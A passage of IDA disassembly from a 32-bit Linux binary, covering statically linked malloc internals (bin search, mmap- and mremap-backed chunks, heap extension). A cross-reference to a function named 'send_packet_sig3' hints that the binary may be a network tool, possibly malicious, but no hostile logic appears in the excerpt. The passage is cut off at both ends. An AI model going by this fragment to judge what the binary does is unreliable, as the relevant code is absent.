offset sub_805B048 jnz short loc_805B835 mov ebx, offset dword_807B0E0 loc_805B835: ; CODE XREF: sub_805B61C+212j mov [ebp+var_64], 0 mov ecx, [ebp+var_64] cmp [ebx+8], ecx jle loc_805B8DC mov [ebp+var_70], 0 nop loc_805B850: ; CODE XREF: sub_805B61C+2BAj mov ecx, [ebp+var_70] mov eax, [ecx+ebx+750h] cmp [ebp+var_C], eax jnz short loc_805B8C9 xor edi, edi cmp [ebx+8], edi jle short loc_805B8C9 xor esi, esi loc_805B868: ; CODE XREF: sub_805B61C+2ABj mov eax, [esi+ebx+750h] cmp [ebp+var_C], eax jz short loc_805B8C0 mov eax, [ebp+var_5C] add eax, [esi+ebx+74Ch] mov ecx, [ebp+var_70] sub eax, [ecx+ebx+74Ch] mov [ebp+var_60], eax mov ecx, [ebp+var_6C] push ecx mov ecx, [ebp+arg_8] push ecx lea eax, [ebp+var_60] push eax mov ecx, [ebp+arg_4] call ecx lea eax, [ebp+var_2C] push eax mov ecx, [ebp+var_6C] push ecx call sub_805B5E0 add esp, 14h test eax, eax jnz short loc_805B8C0 mov eax, [ebp+var_38] cmp [ebp+var_C], eax jnz short loc_805B8C0 mov eax, [ebp+var_60] mov [ebp+var_5C], eax jmp short loc_805B8E4 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805B8C0: ; CODE XREF: sub_805B61C+256j ; sub_805B61C+292j ... add esi, 10h inc edi cmp [ebx+8], edi jg short loc_805B868 loc_805B8C9: ; CODE XREF: sub_805B61C+241j ; sub_805B61C+248j add [ebp+var_70], 10h inc [ebp+var_64] mov ecx, [ebp+var_64] cmp [ebx+8], ecx jg loc_805B850 loc_805B8DC: ; CODE XREF: sub_805B61C+1BCj ; sub_805B61C+226j mov eax, 0FFFFFFFFh jmp short loc_805B907 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805B8E4: ; CODE XREF: sub_805B61C+1F4j ; sub_805B61C+200j ... mov ecx, [ebp+var_68] add [ebp+var_5C], ecx mov ecx, [ebp+arg_0] push ecx mov ecx, [ebp+arg_8] push ecx lea eax, [ebp+var_5C] push eax mov ecx, [ebp+arg_4] call ecx mov ecx, [ebp+arg_C] mov dword ptr [ecx], 1 mov eax, [ebp+var_5C] loc_805B907: ; CODE XREF: sub_805B61C+2C5j lea esp, [ebp+var_7C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805B61C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805B914 proc near ; CODE XREF: .text:0805BA5Ep ; .text:0805BA7Dp var_20 = byte ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h push edi push esi push ebx mov edi, [ebp+arg_0] cmp dword ptr [edi+20h], 1 jle short loc_805B92D mov dword ptr [edi+20h], 1 loc_805B92D: ; CODE XREF: sub_805B914+10j lea eax, [ebp+var_4] push eax mov edx, [ebp+arg_8] push edx mov edx, [ebp+arg_4] push edx push edi call sub_805B61C add esp, 10h cmp [ebp+var_4], 0 jnz loc_805BA45 cmp dword ptr [edi+20h], 0 jl loc_805BA45 mov ebx, offset unk_807C9F0 cmp [ebp+arg_4], offset sub_805B048 jnz short loc_805B969 mov ebx, offset dword_807B0E0 loc_805B969: ; CODE XREF: sub_805B914+4Ej mov [ebp+var_8], 0 mov edx, [ebp+var_8] cmp [ebx+8], edx jle loc_805BA40 mov [ebp+var_14], 0 nop loc_805B984: ; CODE XREF: sub_805B914+126j mov edx, [ebp+var_14] mov eax, [edx+ebx+750h] cmp [edi+20h], eax jnz loc_805BA2D mov [ebp+var_C], 0 mov edx, [ebp+var_C] cmp [ebx+8], edx jle loc_805BA2D mov edx, [ebp+var_14] mov [ebp+var_10], edx xor esi, esi lea esi, [esi] loc_805B9B4: ; CODE XREF: sub_805B914+117j mov eax, [esi+ebx+750h] cmp [edi+20h], eax jz short loc_805BA1F mov eax, [esi+ebx+74Ch] mov edx, [ebp+var_10] sub eax, [edx+ebx+74Ch] add [edi], eax cmp dword ptr [edi+20h], 0 setz al and eax, 0FFh mov [edi+20h], eax lea eax, [ebp+var_4] push eax mov edx, [ebp+arg_8] push edx mov edx, [ebp+arg_4] push edx push edi call sub_805B61C add esp, 10h cmp [ebp+var_4], 0 jnz short loc_805BA45 mov eax, [esi+ebx+74Ch] mov edx, [ebp+var_10] sub eax, [edx+ebx+74Ch] sub [edi], eax cmp dword ptr [edi+20h], 0 setz al and eax, 0FFh mov [edi+20h], eax loc_805BA1F: ; CODE XREF: sub_805B914+AAj add esi, 10h inc [ebp+var_C] mov edx, [ebp+var_C] cmp [ebx+8], edx jg short loc_805B9B4 loc_805BA2D: ; CODE XREF: sub_805B914+7Dj ; sub_805B914+90j add [ebp+var_14], 10h inc [ebp+var_8] mov edx, [ebp+var_8] cmp [ebx+8], edx jg loc_805B984 loc_805BA40: ; CODE XREF: sub_805B914+62j mov eax, 0FFFFFFFFh loc_805BA45: ; CODE XREF: sub_805B914+32j ; sub_805B914+3Cj ... lea esp, [ebp+var_20] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805B914 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp mov eax, [ebp+8] push 0 push offset sub_805B048 push eax call sub_805B914 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp mov eax, [ebp+8] mov dword ptr [eax+20h], 0 push 0 push offset sub_805B144 push eax call sub_805B914 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805BA88 proc near ; CODE XREF: malloc+446p var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push ebx mov ebx, [ebp+arg_0] mov esi, 4 mov edx, 0FFFh mov eax, dword_8078F80 cmp dword_8078F44, eax jbe short loc_805BAC6 add ebx, esi add ebx, edx mov eax, edx not eax and ebx, eax push 0 push 0FFFFFFFFh push 22h push 3 push ebx push 0 call mmap cmp eax, 0FFFFFFFFh jnz short loc_805BACC loc_805BAC6: ; CODE XREF: sub_805BA88+1Dj xor eax, eax jmp short loc_805BB28 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805BACC: ; CODE XREF: sub_805BA88+3Cj inc dword_8078F80 mov edx, dword_8078F80 cmp dword_8078F84, edx jnb short loc_805BAE6 mov dword_8078F84, edx loc_805BAE6: ; CODE XREF: sub_805BA88+56j lea edx, [esi+eax] mov [edx-4], esi mov eax, ebx sub eax, esi or al, 2 mov [edx], eax mov eax, ebx add eax, dword_8078F88 mov dword_8078F88, eax cmp dword_8078F8C, eax jnb short loc_805BB0E mov dword_8078F8C, eax loc_805BB0E: ; CODE XREF: sub_805BA88+7Fj mov eax, dword_8078F88 add eax, dword_8078F58 cmp dword_8078F54, eax jnb short loc_805BB26 mov dword_8078F54, eax loc_805BB26: ; CODE XREF: sub_805BA88+97j mov eax, edx loc_805BB28: ; CODE XREF: sub_805BA88+40j lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_805BA88 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805BB34 proc near ; CODE XREF: free+1Fp .text:0805C5AAp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov eax, [ebp+arg_0] mov edx, [eax-4] mov ebx, [eax] and bl, 0FCh add ebx, edx push ebx sub eax, edx push eax call __libc_munmap dec dword_8078F80 sub dword_8078F88, ebx mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_805BB34 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805BB64 proc near ; CODE XREF: .text:0805C558p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov edx, [ebp+arg_0] mov esi, [edx-4] mov edi, [edx] and edi, 0FFFFFFFCh mov ebx, [ebp+arg_4] add ebx, esi add ebx, 0FFFh and ebx, 0FFFFF000h push 1 push ebx lea eax, [esi+edi] push eax mov eax, edx sub eax, esi push eax call __libc_mremap cmp eax, 0FFFFFFFFh jnz short loc_805BBA0 xor eax, eax jmp short loc_805BBE8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805BBA0: ; CODE XREF: sub_805BB64+36j lea edx, [esi+eax] mov eax, ebx sub eax, esi or al, 2 mov [edx], eax lea eax, [esi+edi] sub dword_8078F88, eax mov eax, ebx add eax, dword_8078F88 mov dword_8078F88, eax cmp dword_8078F8C, eax jnb short loc_805BBCE mov dword_8078F8C, eax loc_805BBCE: ; CODE XREF: sub_805BB64+63j mov eax, dword_8078F88 add eax, dword_8078F58 cmp dword_8078F54, eax jnb short loc_805BBE6 mov dword_8078F54, eax loc_805BBE6: ; CODE XREF: sub_805BB64+7Bj mov eax, edx loc_805BBE8: ; CODE XREF: sub_805BB64+3Aj lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805BB64 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805BBF4 proc near ; CODE XREF: malloc+45Cp var_18 = byte ptr -18h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push edi push esi push ebx mov edx, dword_8078B38 mov [ebp+var_4], edx mov ecx, [edx] and cl, 0FCh mov [ebp+var_8], ecx mov ebx, edx add ebx, ecx mov esi, [ebp+arg_0] add esi, dword_8078F40 add esi, 10h cmp dword_8078F4C, 0FFFFFFFFh jz short loc_805BC33 add esi, 0FFFh and esi, 0FFFFF000h loc_805BC33: ; CODE XREF: sub_805BBF4+31j push esi mov eax, dword_8078B30 call eax ; __default_morecore_init mov edi, eax add esp, 4 test edi, edi jz loc_805BD69 cmp edi, ebx jnb short loc_805BC59 cmp [ebp+var_4], offset dword_8078B34 jnz loc_805BD69 loc_805BC59: ; CODE XREF: sub_805BBF4+56j add dword_8078F58, esi cmp edi, ebx jnz short loc_805BC78 add esi, [ebp+var_8] mov eax, dword_8078B38 or esi, 1 mov [eax], esi jmp loc_805BD3F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805BC78: ; CODE XREF: sub_805BBF4+6Dj cmp dword_8078F4C, 0FFFFFFFFh jnz short loc_805BC8C mov dword_8078F4C, edi jmp short loc_805BC96 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805BC8C: ; CODE XREF: sub_805BBF4+8Bj mov eax, edi sub eax, ebx add dword_8078F58, eax loc_805BC96: ; CODE XREF: sub_805BBF4+93j lea eax, [edi+4] and eax, 7 jz short loc_805BCAC mov ebx, 8 sub ebx, eax add edi, ebx jmp short loc_805BCAE ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805BCAC: ; CODE XREF: sub_805BBF4+A8j xor ebx, ebx loc_805BCAE: ; CODE XREF: sub_805BBF4+B3j lea eax, [esi+edi] mov edx, 1000h dec edx and eax, edx mov ecx, 1000h sub ecx, eax mov eax, ecx add ebx, eax push ebx mov eax, dword_8078B30 call eax ; __default_morecore_init add esp, 4 test eax, eax jz loc_805BD69 add dword_8078F58, ebx mov dword_8078B38, edi mov esi, eax sub esi, edi add esi, ebx or esi, 1 mov [edi], esi cmp [ebp+var_4], offset dword_8078B34 jz short loc_805BD3F mov edx, [ebp+var_8] mov ecx, [ebp+var_4] mov dword ptr [ecx+edx-8], 5 mov dword ptr [ecx+edx-4], 5 add edx, 0FFFFFFF8h and edx, 7 mov [ebp+var_8], edx mov dword ptr [edx+ecx], 5 mov dword ptr [ecx+edx+4], 5 mov eax, [ecx] and eax, 1 or eax, edx mov [ecx], eax cmp edx, 0Fh jbe short loc_805BD3F mov eax, [ebp+var_4] add eax, 4 push eax call free loc_805BD3F: ; CODE XREF: sub_805BBF4+7Cj ; sub_805BBF4+101j ... mov eax, dword_8078F58 cmp dword_8078F50, eax jnb short loc_805BD51 mov dword_8078F50, eax loc_805BD51: ; CODE XREF: sub_805BBF4+156j mov eax, dword_8078F88 add eax, dword_8078F58 cmp dword_8078F54, eax jnb short loc_805BD69 mov dword_8078F54, eax loc_805BD69: ; CODE XREF: sub_805BBF4+4Ej ; sub_805BBF4+5Fj ... lea esp, [ebp+var_18] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805BBF4 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame malloc proc near ; CODE XREF: send_packet_sig3+2Cp ; setenv+85p ... var_20 = byte ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push edi push esi push ebx mov eax, [ebp+arg_0] cmp eax, 0Bh jle short loc_805BD94 add eax, 0Bh mov [ebp+var_C], eax and [ebp+var_C], 0FFFFFFF8h jmp short loc_805BD9B ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805BD94: ; CODE XREF: malloc+Fj mov [ebp+var_C], 10h loc_805BD9B: ; CODE XREF: malloc+1Bj cmp [ebp+var_C], 1F7h ja short loc_805BE00 mov ecx, [ebp+var_C] shr ecx, 3 mov [ebp+var_4], ecx mov ebx, dword_8078B3C[ecx*8] lea eax, ds:8078B34h[ecx*8] cmp ebx, eax jnz short loc_805BDD1 mov ebx, dword_8078B44[ecx*8] lea eax, ds:8078B3Ch[ecx*8] cmp ebx, eax jz short loc_805BDF4 loc_805BDD1: ; CODE XREF: malloc+49j mov edi, [ebx] and edi, 0FFFFFFFCh mov [ebp+var_14], edi mov esi, [ebx+8] mov ecx, [ebx+4] mov [ebp+var_10], ecx mov [ecx+8], esi mov [esi+4], ecx or byte ptr [edi+ebx], 1 jmp loc_805C281 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805BDF4: ; CODE XREF: malloc+5Bj add [ebp+var_4], 2 jmp loc_805BEE5 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805BE00: ; CODE XREF: malloc+2Ej mov eax, [ebp+var_C] shr eax, 9 jnz short loc_805BE18 mov edi, [ebp+var_C] shr edi, 3 mov [ebp+var_4], edi jmp loc_805BEAB ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805BE18: ; CODE XREF: malloc+92j mov eax, [ebp+var_C] shr eax, 9 cmp eax, 4 ja short loc_805BE34 mov ecx, [ebp+var_C] shr ecx, 6 add ecx, 38h mov [ebp+var_4], ecx jmp short loc_805BEAB ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805BE34: ; CODE XREF: malloc+ADj mov eax, [ebp+var_C] shr eax, 9 cmp eax, 14h ja short loc_805BE48 add eax, 5Bh mov [ebp+var_4], eax jmp short loc_805BEAB ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805BE48: ; CODE XREF: malloc+C9j mov eax, [ebp+var_C] shr eax, 9 cmp eax, 54h ja short loc_805BE64 mov edi, [ebp+var_C] shr edi, 0Ch add edi, 6Eh mov [ebp+var_4], edi jmp short loc_805BEAB ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805BE64: ; CODE XREF: malloc+DDj mov eax, [ebp+var_C] shr eax, 9 cmp eax, 154h ja short loc_805BE80 mov ecx, [ebp+var_C] shr ecx, 0Fh add ecx, 77h mov [ebp+var_4], ecx jmp short loc_805BEAB ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805BE80: ; CODE XREF: malloc+FBj mov eax, [ebp+var_C] shr eax, 9 cmp eax, 554h ja short loc_805BEA4 mov edi, [ebp+var_C] shr edi, 12h add edi, 7Ch mov [ebp+var_4], edi jmp short loc_805BEAB ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805BE9C: ; CODE XREF: malloc+15Cj dec [ebp+var_4] jmp short loc_805BEE2 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805BEA4: ; CODE XREF: malloc+117j mov [ebp+var_4], 7Eh loc_805BEAB: ; CODE XREF: malloc+9Dj malloc+BBj ... mov ecx, [ebp+var_4] lea ecx, ds:8078B34h[ecx*8] mov [ebp+var_8], ecx mov ebx, [ecx+8] cmp ebx, ecx jz short loc_805BEE2 nop loc_805BEC0: ; CODE XREF: malloc+16Cj mov edi, [ebx] and edi, 0FFFFFFFCh mov [ebp+var_14], edi mov edx, edi sub edx, [ebp+var_C] cmp edx, 0Fh jg short loc_805BE9C test edx, edx jge loc_805C1F0 mov ebx, [ebx+8] cmp [ebp+var_8], ebx jnz short loc_805BEC0 loc_805BEE2: ; CODE XREF: malloc+12Bj malloc+149j inc [ebp+var_4] loc_805BEE5: ; CODE XREF: malloc+84j mov ebx, dword_8078B40 cmp ebx, offset dword_8078B3C jz loc_805C087 mov ecx, [ebx] and cl, 0FCh mov [ebp+var_14], ecx mov edx, ecx sub edx, [ebp+var_C] cmp edx, 0Fh jle short loc_805BF40 mov eax, [ebp+var_C] add eax, ebx mov edi, [ebp+var_C] or edi, 1 mov [ebx], edi mov dword_8078B44, eax mov dword_8078B40, eax mov dword ptr [eax+8], offset dword_8078B3C mov dword ptr [eax+4], offset dword_8078B3C mov ecx, edx or cl, 1 mov [eax], ecx mov [edx+eax-4], edx jmp loc_805C281 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805BF40: ; CODE XREF: malloc+193j mov dword_8078B44, offset dword_8078B3C mov dword_8078B40, offset dword_8078B3C test edx, edx jl short loc_805BF64 mov edi, [ebp+var_14] or byte ptr [edi+ebx], 1 jmp loc_805C281 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805BF64: ; CODE XREF: malloc+1E2j cmp [ebp+var_14], 1FFh ja short loc_805BFAC mov edx, [ebp+var_14] shr edx, 3 mov eax, edx jns short loc_805BF7A lea eax, [edx+3] loc_805BF7A: ; CODE XREF: malloc+201j sar eax, 2 mov edi, 1 mov ecx, eax shl edi, cl mov eax, edi or dword_8078B34, eax lea esi, ds:8078B34h[edx*8] mov ecx, [esi+4] mov [ebp+var_10], ecx mov [ebx+8], esi mov [ebx+4], ecx mov [esi+4], ebx mov [ecx+8], ebx jmp loc_805C087 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805BFAC: ; CODE XREF: malloc+1F7j mov eax, [ebp+var_14] shr eax, 9 jnz short loc_805BFBC mov edx, [ebp+var_14] shr edx, 3 jmp short loc_805C031 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805BFBC: ; CODE XREF: malloc+23Ej mov eax, [ebp+var_14] shr eax, 9 cmp eax, 4 ja short loc_805BFD4 mov edx, [ebp+var_14] shr edx, 6 add edx, 38h jmp short loc_805C031 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805BFD4: ; CODE XREF: malloc+251j mov eax, [ebp+var_14] shr eax, 9 cmp eax, 14h ja short loc_805BFE4 lea edx, [eax+5Bh] jmp short loc_805C031 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805BFE4: ; CODE XREF: malloc+269j mov eax, [ebp+var_14] shr eax, 9 cmp eax, 54h ja short loc_805BFFC mov edx, [ebp+var_14] shr edx, 0Ch add edx, 6Eh jmp short loc_805C031 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805BFFC: ; CODE XREF: malloc+279j mov eax, [ebp+var_14] shr eax, 9 cmp eax, 154h ja short loc_805C014 mov edx, [ebp+var_14] shr edx, 0Fh add edx, 77h jmp short loc_805C031 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805C014: ; CODE XREF: malloc+293j mov eax, [ebp+var_14] shr eax, 9 cmp eax, 554h ja short loc_805C02C mov edx, [ebp+var_14] shr edx, 12h add edx, 7Ch jmp short loc_805C031 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805C02C: ; CODE XREF: malloc+2ABj mov edx, 7Eh loc_805C031: ; CODE XREF: malloc+246j malloc+25Cj ... lea esi, ds:8078B34h[edx*8] mov edi, [esi+4] mov [ebp+var_10], edi cmp edi, esi jnz short loc_805C05C mov eax, edx sar eax, 2 mov edi, 1 mov ecx, eax shl edi, cl mov eax, edi or dword_8078B34, eax jmp short loc_805C078 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805C05C: ; CODE XREF: malloc+2CCj malloc+2FCj mov ecx, [ebp+var_10] mov eax, [ecx] and al, 0FCh cmp [ebp+var_14], eax jnb short loc_805C072 mov edi, [ecx+4] mov [ebp+var_10], edi cmp edi, esi jnz short loc_805C05C loc_805C072: ; CODE XREF: malloc+2F2j mov ecx, [ebp+var_10] mov esi, [ecx+8] loc_805C078: ; CODE XREF: malloc+2E4j mov [ebx+8], esi mov edi, [ebp+var_10] mov [ebx+4], edi mov [esi+4], ebx mov [edi+8], ebx loc_805C087: ; CODE XREF: malloc+17Dj malloc+233j mov eax, [ebp+var_4] test eax, eax jge short loc_805C091 add eax, 3 loc_805C091: ; CODE XREF: malloc+318j sar eax, 2 mov edi, 1 mov ecx, eax shl edi, cl mov [ebp+var_10], edi cmp dword_8078B34, edi jb loc_805C198 test dword_8078B34, edi jnz short loc_805C0E0 and [ebp+var_4], 0FFFFFFFCh add [ebp+var_4], 4 add edi, edi mov [ebp+var_10], edi test dword_8078B34, edi jnz short loc_805C0E0 lea esi, [esi+0] loc_805C0CC: ; CODE XREF: malloc+369j add [ebp+var_4], 4 shl [ebp+var_10], 1 mov ecx, [ebp+var_10] test dword_8078B34, ecx jz short loc_805C0CC nop loc_805C0E0: ; CODE XREF: malloc+33Ej malloc+353j ... mov esi, [ebp+var_4] lea eax, ds:0[esi*8] lea esi, [esi] loc_805C0EC: ; CODE XREF: malloc+3C1j lea edi, dword_8078B34[eax] mov [ebp+var_8], edi mov ebx, dword_8078B3C[eax] cmp ebx, edi jz short loc_805C126 nop loc_805C100: ; CODE XREF: malloc+3B0j mov ecx, [ebx] and cl, 0FCh mov [ebp+var_14], ecx mov edx, ecx sub edx, [ebp+var_C] cmp edx, 0Fh jg loc_805C208 test edx, edx jge loc_805C24C mov ebx, [ebx+8] cmp [ebp+var_8], ebx jnz short loc_805C100 loc_805C126: ; CODE XREF: malloc+389j add eax, 8 inc [ebp+var_4] mov edi, [ebp+var_4] test edi, 3 jnz short loc_805C0EC jmp short loc_805C14D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805C13C: ; CODE XREF: malloc+3DFj dec esi lea eax, ds:8078B34h[esi*8] cmp dword_8078B38[esi*8], eax jnz short loc_805C160 loc_805C14D: ; CODE XREF: malloc+3C3j test esi, 3 jnz short loc_805C13C mov eax, [ebp+var_10] not eax and dword_8078B34, eax loc_805C160: ; CODE XREF: malloc+3D7j shl [ebp+var_10], 1 mov ecx, [ebp+var_10] cmp dword_8078B34, ecx jb short loc_805C198 test ecx, ecx jz short loc_805C198 test dword_8078B34, ecx jnz loc_805C0E0 nop loc_805C180: ; CODE XREF: malloc+41Dj add [ebp+var_4], 4 shl [ebp+var_10], 1 mov edi, [ebp+var_10] test dword_8078B34, edi jz short loc_805C180 jmp loc_805C0E0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805C198: ; CODE XREF: malloc+332j malloc+3F9j ... mov eax, dword_8078B38 mov edx, [eax] and dl, 0FCh sub edx, [ebp+var_C] cmp edx, 0Fh jg loc_805C264 mov ecx, [ebp+var_C] cmp dword_8078F48, ecx ja short loc_805C1CC push ecx call sub_805BA88 mov ebx, eax add esp, 4 test ebx, ebx jnz loc_805C281 loc_805C1CC: ; CODE XREF: malloc+443j mov edi, [ebp+var_C] push edi call sub_805BBF4 mov eax, dword_8078B38 mov edx, [eax] and dl, 0FCh sub edx, edi cmp edx, 0Fh jg short loc_805C264 xor eax, eax jmp loc_805C284 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805C1F0: ; CODE XREF: malloc+160j mov esi, [ebx+8] mov ecx, [ebx+4] mov [ebp+var_10], ecx mov [ecx+8], esi mov [esi+4], ecx mov edi, [ebp+var_14] or byte ptr [edi+ebx], 1 jmp short loc_805C281 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805C208: ; CODE XREF: malloc+39Cj mov eax, [ebp+var_C] add eax, ebx mov ecx, [ebp+var_C] or cl, 1 mov [ebx], ecx mov esi, [ebx+8] mov edi, [ebx+4] mov [ebp+var_10], edi mov [edi+8], esi mov [esi+4], edi mov dword_8078B44, eax mov dword_8078B40, eax mov dword ptr [eax+8], offset dword_8078B3C mov dword ptr [eax+4], offset dword_8078B3C mov ecx, edx or cl, 1 mov [eax], ecx mov [edx+eax-4], edx jmp short loc_805C281 ; 